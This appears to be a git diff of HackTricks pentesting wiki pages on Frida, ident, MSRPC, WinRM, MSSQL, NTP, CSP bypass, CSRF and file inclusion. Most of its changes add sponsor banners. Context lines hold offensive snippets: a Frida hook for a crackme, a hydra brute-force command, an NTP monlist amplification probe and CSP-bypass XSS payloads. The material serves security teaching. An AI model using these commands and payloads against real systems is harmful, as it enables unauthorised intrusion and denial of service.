**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
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## **Introduction**
[![objection](https://github.com/sensepost/objection/raw/master/images/objection.png)](https://github.com/sensepost/objection)
@ -284,6 +290,14 @@ exit
* You can't use the instaces of the classes to call functions of the instance. And you can't create new instances of classes and use them to call functions.
* There isn't a shortcut (like the one for sslpinnin) to hook all the common crypto methods being used by the application to see cyphered text, plain text, keys, IVs and algorithms used.
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>

55
mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md
View file

@ -1,30 +1,36 @@
# Frida Tutorial 3
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&#x26;token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
​If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
\
****
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
# Solution 1
## Solution 1
Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
**Hook the **_**exit()**_ function and **decrypt function** so it print the flag in frida console when you press verify:
**Hook the \_exit()**\_ function and **decrypt function** so it print the flag in frida console when you press verify:
```javascript
Java.perform(function () {
@ -63,7 +69,7 @@ Java.perform(function () {
});
```
# Solution 2
## Solution 2
Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
@ -126,20 +132,21 @@ Java.perform(function () {
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&#x26;token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
​​If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

18
network-services-pentesting/113-pentesting-ident.md
View file

@ -12,6 +12,13 @@
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Basic Information
Is an [Internet](https://en.wikipedia.org/wiki/Internet) [protocol](https://en.wikipedia.org/wiki/Protocol\_\(computing\)) that helps identify the user of a particular [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) connection.
@ -80,6 +87,17 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf
![](<../.gitbook/assets/image (9) (1) (2).png>)
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## HackTricks Automatic Commands
```

20
network-services-pentesting/135-pentesting-msrpc.md
View file

@ -12,6 +12,15 @@
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Basic Information
Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is [a protocol](http://searchmicroservices.techtarget.com/definition/Remote-Procedure-Call-RPC) that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network. MSRPC was originally derived from open source software but has been developed further and copyrighted by Microsoft.
@ -93,6 +102,17 @@ References:
The **rpcdump.exe** from [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) can interact with this port.
​
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>

39
network-services-pentesting/5985-5986-pentesting-winrm.md
View file

@ -12,7 +12,16 @@
</details>
[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## WinRM
@ -145,6 +154,17 @@ winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## WinRM connection in linux
### Brute Force
@ -254,6 +274,10 @@ end
* `port:5985 Microsoft-HTTPAPI`
## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Automatic Commands
```
@ -293,6 +317,19 @@ Entry_2:
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
​
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>

33
network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
View file

@ -12,6 +12,15 @@
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Basic Information
**Microsoft SQL Server** is a **relational database** management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).\
@ -371,6 +380,17 @@ It's possible to **load a .NET dll within MSSQL with custom functions**. This, h
There are other methods to get command execution, such as adding [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), and [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## MSSQL Privilege Escalation
### From db\_owner to sysadmin
@ -505,6 +525,19 @@ You probably will be able to **escalate to Administrator** following one of thes
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
​
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## HackTricks Automatic Commands
```

67
network-services-pentesting/pentesting-ntp.md
View file

@ -1,34 +1,38 @@
# 123/udp - Pentesting NTP
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
# Basic Information
​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
****This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
The Network Time Protocol \(**NTP**\) is a networking protocol for clock synchronization between computer systems over packet-switched, variable-latency data networks.
{% embed url="https://hackenproof.com/register" %}
## Basic Information
The Network Time Protocol (**NTP**) is a networking protocol for clock synchronization between computer systems over packet-switched, variable-latency data networks.
**Default port:** 123/udp
```text
```
PORT STATE SERVICE REASON
123/udp open ntp udp-response
```
# Enumeration
## Enumeration
```bash
ntpq -c readlist <IP_ADDRESS>
@ -44,11 +48,11 @@ ntpdc -c sysinfo <IP_ADDRESS>
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
```
# Examine configuration files
## Examine configuration files
* ntp.conf
# NTP Amplification Attack
## NTP Amplification Attack
[**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
@ -60,13 +64,13 @@ _MONLIST command_: It is a NTP protocol command which has very little use, but i
ntpdc -n -c monlist <IP>
```
# Shodan
## Shodan
* `ntp`
# HackTricks Automatic Commands
## HackTricks Automatic Commands
```text
```
Protocol_Name: NTP #Protocol Abbreviation if there is one.
Port_Number: 123 #Comma separated if there is more than one.
Protocol_Description: Network Time Protocol #Protocol Abbreviation Spelled out
@ -85,22 +89,25 @@ Entry_2:
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
​
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
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<details>
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

15
pentesting-web/command-injection.md
View file

@ -1,13 +1,5 @@
# Command Injection
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
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<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -20,6 +12,13 @@ Get Access Today:
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
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## What is command Injection?
OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute an arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From [here](https://portswigger.net/web-security/os-command-injection)).

68
pentesting-web/content-security-policy-csp-bypass/README.md
View file

@ -4,21 +4,26 @@
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## What is CSP
Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting (XSS)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of resources being allowed from the local domain (self) to be loaded and executed in-line and allow string code executing functions like `eval`, `setTimeout` or `setInterval:`
Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting (XSS)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of resources being allowed from the local domain (self) to be loaded and executed in-line and allow string code executing functions like `eval`, `setTimeout` or `setInterval:`
Content Security Policy is implemented via **response headers** or **meta elements of the HTML page**. The browser follows the received policy and actively blocks violations as they are detected.
@ -258,7 +263,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (some of them were deleted or fixed)
Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (some of them were deleted or fixed)
### Bypass CSP with dangling markup
@ -374,6 +379,17 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
Trick from [**here**](https://ctftime.org/writeup/29310).
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Unsafe Technologies to Bypass CSP
### PHP response buffer overload
@ -505,26 +521,30 @@ Example: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
## References
{% embed url="https://hackdefense.com/blog/csp-the-how-and-why-of-a-content-security-policy/" %}
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
​
{% embed url="https://medium.com/bugbountywriteup/content-security-policy-csp-bypass-techniques-e3fa475bfe5d" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
{% embed url="https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme" %}
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

35
pentesting-web/csrf-cross-site-request-forgery.md
View file

@ -1,7 +1,5 @@
# CSRF (Cross Site Request Forgery)
## CSRF (Cross Site Request Forgery)
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -14,6 +12,15 @@
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## What is CSRF?
**Cross-site request forger**y (also known as CSRF) is a web security vulnerability that allows an attacker to **induce users to perform actions that they do not intend to perform**.\
@ -175,6 +182,17 @@ To set the domain name of the server in the URL that the Referrer is going to se
</html>
```
****
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## **Exploit Examples**
### **Exfiltrating CSRF Token**
@ -567,6 +585,19 @@ with open(PASS_LIST, "r") as f:
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
​
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
****This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>

12
pentesting-web/file-inclusion/README.md
View file

@ -14,7 +14,9 @@
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts? This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000! Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
@ -381,7 +383,9 @@ Be sure to URL-encode payloads before you send them.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts? This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000! Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects. [**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects. [**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
@ -546,7 +550,9 @@ If you found a **Local File Inclusion** and you **can exfiltrate the path** of t
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts? This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000! Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects. \
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects. \
